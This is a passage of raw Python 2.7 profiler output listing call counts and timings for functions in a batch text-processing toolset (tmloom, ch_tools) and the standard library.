0.000 0.000 0.234 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1466(get_metadata) 3 0.000 0.000 0.000 0.000 {posix.urandom} 45 0.000 0.000 13.323 0.296 /persist/home2/rack/tmloom/lib/utils.py:184(saveGlobalItem) 44 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1927(find_distributions) 2 0.000 0.000 0.044 0.022 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1728(_extract_resource) 2 0.000 0.000 0.575 0.287 /home2/rack/ch_tools/walshDtd.py:51(sgmlDtdToWalshDtd) 107 0.000 0.000 0.001 0.000 /usr/lib/python2.7/copy.py:66(copy) 164/153 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:112(_ustr) 150 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1373(safe_name) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/markers.py:4() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/xml/__init__.py:20() 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/hubclass.py:27(tml) 28 0.000 0.000 0.003 0.000 /home2/rack/tmloom/lib/pretty.py:680(_tweakUpdatedIrsUrisDict) 69 0.000 0.000 0.000 0.000 /persist/home2/rack/tmloom/lib/utils.py:5652(_sgmlifyEmptyElements1) 86 0.000 0.000 0.234 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1476(get_metadata_lines) 75 0.000 0.000 0.021 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2506(activate) 42 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:36(__init__) 70 0.000 0.000 0.000 0.000 {method 'tolist' of 'array.array' objects} 152 0.000 0.000 0.001 0.000 /usr/lib/python2.7/posixpath.py:97(splitext) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/urlparse.py:31() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:36() 1 0.000 0.000 34394.644 34394.644 /home2/rack/tmloom/lib/batch.py:483(genericFunction) 1 0.000 0.000 10.114 10.114 /home2/rack/tmloom/lib/pretty.py:1804(addTopicPageUrlsToSeeProductREDict) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/infomngr.py:143() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/io.py:37() 97 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/extern/__init__.py:22(find_module) 146 0.000 0.000 0.000 0.000 /usr/lib/python2.7/stat.py:49(S_ISREG) 68 0.000 0.000 0.000 0.000 /usr/lib/python2.7/codecs.py:302(__init__) 1 0.000 0.000 0.803 0.803 :6() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:3() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/email/__init__.py:7() 55 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1605(__init__) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/zipfile.py:4() 51 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2385(__init__) 102 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1856(has_metadata) 259 0.000 0.000 0.000 0.000 {method 'format' of 'str' objects} 50 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2652(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:35() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:6() 20/16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:380(_joinrealpath) 3 0.000 0.000 0.001 0.000 /usr/lib/python2.7/multiprocessing/queues.py:181(_start_thread) 120 0.000 0.000 0.009 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1567(_has) 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:251(expanduser) 3 0.000 0.000 0.000 0.000 {method 'recv_bytes' of '_multiprocessing.Connection' objects} 380 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:352() 1 0.000 0.000 0.051 0.051 /home2/rack/ch_tools/ch_formatRegexp.py:3() 9 0.000 0.000 0.002 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1727(__init__) 78 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:120(dirname) 107 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:828(copy) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/email/errors.py:9() 257 0.000 0.000 0.000 0.000 /usr/lib/python2.7/locale.py:345() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/email/feedparser.py:158(FeedParser) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/locale.py:12() 10 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:86(__new__) 23 0.000 0.000 0.000 0.000 {posix.write} 91 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:128(__instancecheck__) 1 0.000 0.000 0.001 0.001 /home2/rack/tmloom/_scanProject.py:5() 13/11 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:148(__subclasscheck__) 8 0.000 0.000 0.042 0.005 /usr/lib/python2.7/socket.py:410(readline) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/hubf.py:11(hub) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:260(__init__) 51 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1238(__add__) 257 0.000 0.000 0.000 0.000 {method 'partition' of 'str' objects} 7 0.000 0.000 0.000 0.000 /persist/home2/rack/tmloom/lib/utils.py:6082(rawUpDownCase) 16 0.000 0.000 0.011 0.001 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1844(__init__) 9 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:348(add_handler) 75 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2102(fixup_namespace_packages) 3 0.000 0.000 0.000 0.000 {thread.start_new_thread} 584 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/_structures.py:33(__neg__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/stringprep.py:8() 1 0.000 0.000 34394.644 34394.644 /home2/rack/tmloom/lib/hubclass.py:7(script) 3 0.000 0.000 0.000 0.000 /persist/home2/rack/tmloom/lib/utils.py:6139(rawUpDownCaseWithCharacterClassProtection) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/heapq.py:127() 82/80 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:286(__init__) 17/3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2324(streamline) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/random.py:72(Random) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:271(readheaders) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/ssl.py:114(_import_symbols) 294 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:332(_parse_local_version) 44 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pkgutil.py:366(get_importer) 45 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2844(_find_adapter) 7 0.000 0.000 30.897 4.414 /home2/rack/ch_tools/ch_globalItem.py:261(_readGlobalItem) 40 0.000 0.000 0.000 0.000 {posix.access} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/forking.py:35() 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/plistlib.py:55() 36 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1891(__str__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/base64.py:8() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/Queue.py:3() 20/8 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2521(parseImpl) 177 0.000 0.000 0.000 0.000 {all} 309 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:349() 76 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:721(__iter__) 1 0.000 0.000 0.007 0.007 /home2/rack/ch_tools/walshDtd.py:937(surveyContainmentsInDtdDict) 75 0.000 0.000 0.000 0.000 {method 'index' of 'list' objects} 11 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1639(load) 39 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1349(__or__) 90 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1577(__init__) 38 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/renumberMSGroups.py:96(_renumberGroups) 1 0.000 0.000 0.004 0.004 /home2/rack/ch_tools/walshDtd.py:8() 52 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:166(paramREFormat) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:803(_RealGetContents) 5 0.000 0.000 0.000 0.000 {built-in method today} 19 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/renumberMSGroups.py:110(revertToParensAndPopulateNamedGroupDict) 1 0.000 0.000 0.002 0.002 /home2/rack/tmloom/lib/checkHtmls.py:5() 159 0.000 0.000 0.000 0.000 {method 'lstrip' of 'unicode' objects} 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1805(_index) 28 0.000 0.000 0.003 0.000 /home2/rack/tmloom/lib/pretty.py:643(tweakUpdatedIrsUrisDict) 10/2 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2392(parseImpl) 1 0.000 0.000 0.005 0.005 /usr/lib/python2.7/multiprocessing/managers.py:504(start) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3488(_makeTags) 1 0.000 0.000 3.493 3.493 /home2/rack/tmloom/lib/pretty.py:4432(makeXhtmlDtdDict) 24 0.000 0.000 0.001 0.000 /persist/home2/rack/tmloom/lib/utils.py:8199(longestPatternFirstDisregardingGroupNames) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/struct.py:1() 25/15 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2368(copy) 182 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2275() 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:647(__init__) 9/7 0.000 0.000 0.111 0.016 /usr/lib/python2.7/dist-packages/pkg_resources/extern/__init__.py:34(load_module) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/tty.py:5() 107 0.000 0.000 0.000 0.000 /usr/lib/python2.7/copy_reg.py:92(__newobj__) 105 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:70(__contains__) 75 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:958(_added_new) 19 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/renumberMSGroups.py:61(replaceParensInRE) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:176(__init__) 26 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1816(__str__) 1 0.000 0.000 0.021 0.021 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:950(subscribe) 3 0.000 0.000 0.027 0.009 /usr/lib/python2.7/encodings/__init__.py:71(search_function) 83 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:141(__init__) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/multiprocessing/process.py:116(start) 24 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1878(parseImpl) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:30(__init__) 2 0.000 0.000 0.001 0.000 /home2/rack/ch_tools/walshDtd.py:1257(gisOfEmptyElementTypes) 86 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:184(find_module) 117 0.000 0.000 0.000 0.000 /usr/lib/python2.7/re.py:138(match) 80 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1896(__init__) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:161(register_after_fork) 82 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:277(__new__) 127 0.000 0.000 0.000 0.000 {method 'rstrip' of 'str' objects} 39 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2514(__init__) 68 0.000 0.000 0.000 0.000 {method 'partition' of 'unicode' objects} 1 0.000 0.000 0.386 0.386 /home2/rack/ch_tools/ch_util.py:1174(doBash) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/ascii.py:9() 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:105(__setitem__) 11/5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2293(leaveWhitespace) 1 0.000 0.000 0.005 0.005 /usr/lib/python2.7/platform.py:114() 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:189(__init__) 75 0.000 0.000 0.021 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2952() 20 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1781(parseImpl) 68 0.000 0.000 0.000 0.000 /usr/lib/python2.7/codecs.py:253(__init__) 17 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:846(setResultsName) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/queues.py:86(_after_fork) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pkgutil.py:6() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/fpformat.py:13() 4 0.000 0.000 0.001 0.000 /usr/lib/python2.7/multiprocessing/queues.py:58(__init__) 1 0.000 0.000 0.001 0.001 /home2/rack/tmloom/lib/urlDotXml.py:4() 37 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:58(__iter__) 1 0.000 0.000 0.479 0.479 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2927(_initialize_master_working_set) 83 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1487(__str__) 1 0.000 0.000 0.042 0.042 /usr/lib/python2.7/httplib.py:446(begin) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/_structures.py:4() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:12() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/contextlib.py:3() 64 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:950(preParse) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/extern/__init__.py:1() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/email/quoprimime.py:30() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/bdb.py:3() 68 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1853(__init__) 3/1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:280(close) 16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/copy_reg.py:95(_slotnames) 1 0.000 0.000 0.111 0.111 /usr/lib/python2.7/urllib2.py:1152(do_open) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1372(getproxies_environment) 16 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2138(normalize_path) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/importlib/__init__.py:4() 1 0.000 0.000 2.936 2.936 /home2/rack/tmloom/lib/pretty.py:4274(makeHtmllooseSgmlDtdDict) 16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:883(setParseAction) 16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:769(_trim_arity) 16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:638(register) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:689(exec_) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3398() 120 0.000 0.000 0.000 0.000 {method 'find' of 'str' objects} 10 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3260(_escapeRegexRangeChars) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:282(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:183(_socketobject) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/uu.py:33() 43 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2149(_is_unpacked_egg) 9 0.000 0.000 0.000 0.000 /usr/lib/python2.7/functools.py:17(update_wrapper) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:89() 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/grovefunctions.py:5() 1 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/ch_comboPerm.py:2() 1 0.000 0.000 0.010 0.010 /usr/lib/python2.7/multiprocessing/managers.py:604(_finalize_manager) 1 0.000 0.000 0.042 0.042 /usr/lib/python2.7/httplib.py:1099(getresponse) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:297(SocketClient) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:277(__new__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:479(build_opener) 2 0.000 0.000 0.010 0.005 /usr/lib/python2.7/multiprocessing/util.py:192(__call__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/sre_parse.py:734(parse_template) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1906(__init__) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/batch.py:555(done) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/functools.py:10() 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:496(__iadd__) 1 0.000 0.000 0.001 0.001 /home2/rack/tmloom/lib/insertSemiPersistentIds.py:4() 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/international.py:1() 49 0.000 0.000 0.000 0.000 {any} 104 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1443(setWhitespaceChars) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:183(Pipe) 16 0.000 0.000 0.001 0.000 /usr/lib/python2.7/posixpath.py:372(realpath) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/os.py:35(_get_exports_list) 111 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2517() 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:242(Condition) 187 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1730() 11/5 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2673(leaveWhitespace) 50 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:177(_add_module) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:309(wait) 3 0.000 0.000 0.000 0.000 {method 'strftime' of 'datetime.date' objects} 35 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:375() 28 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3027(__init__) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/hubclass.py:29(__init__) 2 0.000 0.000 0.001 0.000 /home2/rack/ch_tools/renumberMSGroups.py:43(renumberGroups) 1 0.000 0.000 0.648 0.648 /home2/rack/tmloom/lib/batch.py:22(__init__) 4 0.000 0.000 0.001 0.000 /persist/home2/rack/tmloom/lib/el.py:210(parameter) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:717(start) 46/26 0.000 0.000 0.000 0.000 {issubclass} 274 0.000 0.000 0.000 0.000 {method 'isalnum' of 'str' objects} 97 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3421() 95 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:168() 1 0.000 0.000 0.000 0.000 {eval} 4 0.000 0.000 0.000 0.000 {time.mktime} 1 0.000 0.000 0.042 0.042 /usr/lib/python2.7/httplib.py:407(_read_status) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:214(islast) 113 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2387() 1 0.000 0.000 0.440 0.440 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:608(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/_compat.py:4() 4 0.000 0.000 0.000 0.000 {method 'copy' of 'dict' objects} 19 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/renumberMSGroups.py:85(recordGroupMapEntry) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/__init__.py:102(Pipe) 11 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1702(zipinfo) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1822(_has) 1 0.000 0.000 0.069 0.069 /usr/lib/python2.7/socket.py:541(create_connection) 4 0.000 0.000 0.001 0.000 /home2/rack/tmloom/lib/pretty.py:138(_tweakChapterReferencingUrisDict) 5 0.000 0.000 0.040 0.008 /usr/lib/python2.7/socket.py:227(meth) 10 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2854(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/mimetools.py:24(__init__) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/multiprocessing/forking.py:116(__init__) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:597(wait) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/fnmatch.py:45(filter) 10 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:105(register) 1 0.000 0.000 0.003 0.003 /home2/rack/ch_tools/renumberMSGroups.py:8() 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/expidx.py:8() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/_compat.py:20(with_metaclass) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:74() 1 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/js_show.py:16() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urlparse.py:168(urlsplit) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1329(get_default_cache) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:700(_set_daemon) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:226(__init__) 2 0.000 0.000 0.000 0.000 /persist/home2/rack/tmloom/lib/utils.py:5684(getAppYear) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/random.py:100(seed) 24 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:321(__getitem__) 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:146(__init__) 23 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:83(add) 1 0.000 0.000 21.690 21.690 /home2/rack/tmloom/lib/pretty.py:2095(setUpUpdatingOfIrsUrls) 1 0.000 0.000 0.001 0.001 /home2/rack/tmloom/lib/xslfunc.py:3() 40 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2840(cls) 16/2 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2667(parseImpl) 43 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:105(__init__) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/forking.py:131(poll) 6 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3047(__init__) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/constants.py:2() 1 0.000 0.000 0.648 0.648 /persist/home2/rack/tmloom/lib/utils.py:4596(testForSunJava) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/bisect.py:3() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/getpass.py:141(getuser) 1 0.000 0.000 0.310 0.310 /home2/rack/tmloom/lib/topicdb.py:537(openTopicDatabase) 36 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:174(__init__) 8 0.000 0.000 0.000 0.000 {method 'write' of 'cStringIO.StringO' objects} 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:290(getheader) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:416(deliver_challenge) 54 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1493(streamline) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3342(originalTextFor) 1 0.000 0.000 0.000 0.000 {method 'sendall' of '_socket.socket' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pprint.py:37() 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:20(__enter__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/ssl.py:129() 1 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/ch_pexpect.py:233(spawn) 9 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:287(__init__) 1 0.000 0.000 0.000 0.000 {filter} 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2711(__str__) 35 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:373() 126 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:88(__init__) 11/4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2692(streamline) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/processslicegroves.py:3() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2917(_initialize) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/repr.py:3() 1 0.000 0.000 0.003 0.003 /usr/lib/python2.7/multiprocessing/forking.py:152(wait) 16 0.000 0.000 0.000 0.000 /usr/lib/python2.7/UserDict.py:103(__contains__) 94 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3503() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pdb.py:59(Pdb) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/specifiers.py:266(_require_version_compare) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:201(_EndRecData) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:1020(putheader) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/ascii.py:41(getregentry) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1550(_setup_prefix) 2 0.000 0.000 0.001 0.001 /home2/rack/tmloom/lib/pretty.py:196(_tweakFragmentContainingUrisDict) 6 0.000 0.000 0.000 0.000 